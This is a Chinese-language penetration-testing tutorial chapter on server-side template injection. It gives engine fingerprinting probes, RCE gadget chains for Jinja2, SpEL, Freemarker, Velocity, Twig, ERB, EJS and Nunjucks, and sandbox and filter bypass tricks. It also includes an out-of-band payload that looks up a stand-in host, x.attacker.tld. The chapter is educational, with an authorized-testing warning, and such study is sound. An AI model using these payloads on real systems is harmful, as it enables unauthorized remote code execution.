第 5 章 · 03 SSTI 服务端模板注入 本节摘要:SSTI 发生在用户输入以语法而非数据的身份进入模板引擎时—— 经 Jinja 渲染, 经 Velocity / SpEL 渲染, 经 ERB / EJS 渲染。最终影响几乎总是 RCE,因为模板引擎本就为求值表达式而设计,且大多数都泄漏了对宿主语言运行时的访问(Python 内建、Java 反射、JavaScript 原型)。发现成本很低(一个 探测即可),但通往 RCE 的 gadget 链因引擎而异,所以引擎指纹识别是承重的一步。本节讲透攻击面、引擎指纹表、各语言的 gadget 链、绕过技巧与验证方法。 内容来源:原项目知识包 ,汉化并套用体系化模板。
本节摘要:SSTI 发生在用户输入以语法而非数据的身份进入模板引擎时——
{{user_input}}经 Jinja 渲染,${user_input}经 Velocity / SpEL 渲染,<%= user_input %>经 ERB / EJS 渲染。最终影响几乎总是 RCE,因为模板引擎本就为求值表达式而设计,且大多数都泄漏了对宿主语言运行时的访问(Python 内建、Java 反射、JavaScript 原型)。发现成本很低(一个{{7*7}}探测即可),但通往 RCE 的 gadget 链因引擎而异,所以引擎指纹识别是承重的一步。本节讲透攻击面、引擎指纹表、各语言的 gadget 链、绕过技巧与验证方法。
内容来源:原项目知识包
strix/skills/vulnerabilities/ssti.md,汉化并套用体系化模板。
⚠️ 仅限授权测试:本节所有 payload 与技术仅用于你自己的应用或有书面授权的渗透测试。未经授权对他人系统使用这些技术是非法的。
阅读完本节,你应当能够:
T() / Freemarker Execute)、Ruby(反引号)、Node(EJS require)各自的 RCE gadget 链。attr 查找、类穿越、构造函数遍历)。到达渲染器的输入形态:
导致注入的代码模式:
render(template_str) 前被拼接进模板字符串,而非作为上下文变量传给 render(template_obj, context)format() / sprintf() / printf 风格链,用户可控的格式串在模板下游纳入范围的引擎:
高价值目标:
💡 核心心法:关键区分是模板源用户可控,而非模型变量绑定进模板。正常的 Spring MVC 绑定把
${userInput}当值渲染,永远不会重新求值为 SpEL——只有templateEngine.process(userControlledString, ctx)才是可利用面。
经典差异探测——大多数引擎只求值以下其中之一,从而暴露身份:
| 探测 | 渲染为 | 引擎家族 |
|---|---|---|
{{7*7}} |
49 |
Jinja2 / Twig / Nunjucks |
{{7*'7'}} |
7777777(Jinja)或 49(Twig) |
区分 Jinja 与 Twig |
${7*7} |
49 |
Velocity / Freemarker / SpEL / JSP EL / Thymeleaf |
<%= 7*7 %> |
49 |
ERB / EJS |
#{7*7} |
49 |
Pug / 某些 Ruby 上下文 |
{{= 7*7 }} |
49 |
doT.js |
对 Thymeleaf,*{...} 选择表达式形式也会求值,但只在 th:object 作用域内;${...} 是通用探测。
次要信号:错误消息文本(堆栈跟踪中的引擎名)、注释语法差异({# #} Jinja vs <%# %> ERB vs {* *} Smarty)、过滤器语法(| vs : vs 空格)。
输出不回显时:
{{''.__class__.__mro__[1].__subclasses__()[<idx>](...)}},SpEL 用 ${T(java.lang.Thread).sleep(5000)},ERB 用 <%= sleep(5) %>){{request.application.__globals__.__builtins__.__import__('socket').gethostbyname('x.attacker.tld')}})经典的 Python 类穿越——每个对象都暴露其方法解析顺序(MRO),通向 object,而 object 暴露解释器中加载的所有子类,其中包括 subprocess.Popen:
{{''.__class__.__mro__[1].__subclasses__()}}
定位一个有用的子类并调用它。当内建可通过全局到达时的常见 gadget:
{{cycler.__init__.__globals__.os.popen('id').read()}} {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
沙箱绕过:即便有 SandboxedEnvironment,属性查找技巧(|attr('__class__'))与 request.environ 访问也能重新引入可达性。检查应用是否把 request、config、cycler 或任何框架全局暴露进模板上下文。
SpEL(Spring 表达式语言)——被 Thymeleaf 和各种 Spring 组件使用——通过 T() 类型操作符到达 Runtime。注意 Runtime.exec() 返回的 java.lang.Process 对象,其 toString() 是 "Process[pid=...]",不是命令的 stdout。要拿到回显输出,需消费进程的 InputStream:
${T(java.lang.Runtime).getRuntime().exec('id')} ${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
第一种形式确认执行(渲染出的 Process 对象证明调用跑了);Scanner 形式通用可用;IOUtils 形式在 classpath 有 Apache Commons IO 时更短。盲上下文用 OAST 或 sleep 验证。
Freemarker 的 freemarker.template.utility.Execute 在未被列入黑名单时是经典 RCE gadget,且与 Runtime.exec 不同,它直接以字符串返回命令输出:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Velocity gadget 通常上下文中没有 $Runtime——那不是 Velocity 标准内建。可移植的做法是从任何可达对象做字符串类反射:
#set($s = "") #set($r = $s.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)) $r.exec("id")
这要求默认的 UberspectImpl(Velocity 1.x 及未配 SecureUberspector 的 2.x);同样的 Process.toString() 限制适用——需回显时用 Scanner 或 BufferedReader 捕获 stdout。若应用使用 Velocity Tools,$class(一个 ClassTool)常在作用域内,大幅缩短链。
Thymeleaf 的关键前提:SSTI 要求控制模板源,而非绑定进模板的模型变量。可利用面是 templateEngine.process(userControlledString, ctx)、管理员可编辑的邮件/通知模板、以及由用户输入组合的模板片段。当该面存在时,同样的 SpEL payload 适用。
Twig 沙箱绕过是版本相关的。经典历史 gadget(Twig 1.x)把 system 注册为未定义过滤器回调,再通过过滤器管线调用它:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
这已被修补——Twig 2.x / 3.x 中 _self 返回模板名字符串,不再暴露 .env。现代绕过取决于加载了哪些扩展与活动的沙箱策略。
Smarty 的 {php}...{/php} 是历史 RCE 原语,Smarty 3 弃用、Smarty 4 移除。现代 Smarty 的面是静态方法调用与模板对象反射。
Blade(Laravel)在首次渲染时把模板编译为 PHP 并缓存,危险路径是运行时:Blade::render($userControlledString, ...)、用用户输入调用 Blade::compileString(...),或任何可到达的 @php ... @endphp 块——三者都是直接 RCE。
直接 Ruby 求值——反引号是回显命令输出的最短路径:
<%= `id` %> <%= IO.popen('id').read %> <% require 'open3'; out, _ = Open3.capture2('id'); %><%= out %> <%= system('id') %>
前三个把命令的 stdout 渲染进响应。system('id') 返回 true/false,把命令输出打印到服务器的 stdout 而非 HTTP body——适合确认执行成功,但不捕获输出。响应不回显时配合 OAST 或副作用(文件写入、DNS 查询)。
EJS 求值内联 JavaScript:
<%= require('child_process').execSync('id').toString() %>
Nunjucks 通过可达对象的构造函数穿越:
{{range.constructor("return require('child_process').execSync('id')")()}}
Handlebars 本身较难(默认助手受限),但把参数传给 eval、Function 或 child_process 的自定义助手会重新打开这个面。同时探测原型污染作为 SSTI 放大器——一旦 Object.prototype 被污染,下游模板逻辑可能执行攻击者控制的代码路径。
沙箱逃逸——通用模式:
{{x.__class__}} 被拦?试 {{x|attr('__class__')}}{{[].__class__.__base__.__subclasses__()}} 枚举所有加载的类__import__ 被过滤时,用 '__import__'.__class__ 等__str__ / toString 触发代码,经拼接强制转换过滤器与解析器规避:
{{7 *7}}、{{ 7*7 }}{{('__cl'+'ass__')}}(Jinja 词法器在表达式模式内不识别 {#,故 SQL 风格的 /**/ token 拆分在此无效)((7)*(7))、7**7、7+0+7{{x%00.evil}}——对某些模板前过滤器截断 payload,但模板解析器不截断多语言与链式求值:
💡 绕过的本质:沙箱通常是「一次间接」就能逃——属性查找、构造函数遍历、MRO 穿越大多能从「沙箱化」的环境重新到达运行时。
确认一个 SSTI 真实存在的稳妥步骤:
{{7*7}} → 49 且 {{7*8}} → 56,排除巧合或硬编码回显。{{self.__class__}}、${T(java.lang.Class)},确认运行时反射。常见误报:
{{7*7}} 渲染为 {{7*7}})——那是 XSS 形态,不是 SSTISandboxedEnvironment 上下文无 request/config){{7*7}} 数字)验证⚠️ SSTI 几乎等价于直接 RCE——任何用户输入到达模板渲染器(而非模板化的上下文变量)的位置,在证明沙箱化之前都应按 RCE 形态对待。
{{7*7}}/${7*7}/<%= 7*7 %>)先确定引擎,再选 gadget 链;错引擎的 payload 是浪费请求。request/config/cycler)、Java(SpEL T(java.lang.Runtime) / Freemarker Execute / Velocity 反射)、Ruby(反引号)、Node(EJS require / Nunjucks 构造函数)。|attr)、类穿越、构造函数遍历、MRO 走子类——沙箱通常是「一次间接」就能逃。Thread.sleep、Jinja 全局穿越到 time.sleep)与 OAST 同样有效;注意裸 __import__ 不在模板命名空间,会抛 UndefinedError。下一节,我们看 RCE(远程代码执行)——把命令注入、反序列化、模板注入、媒体管线等所有「输入到达代码执行原语」的入口统摄起来讲。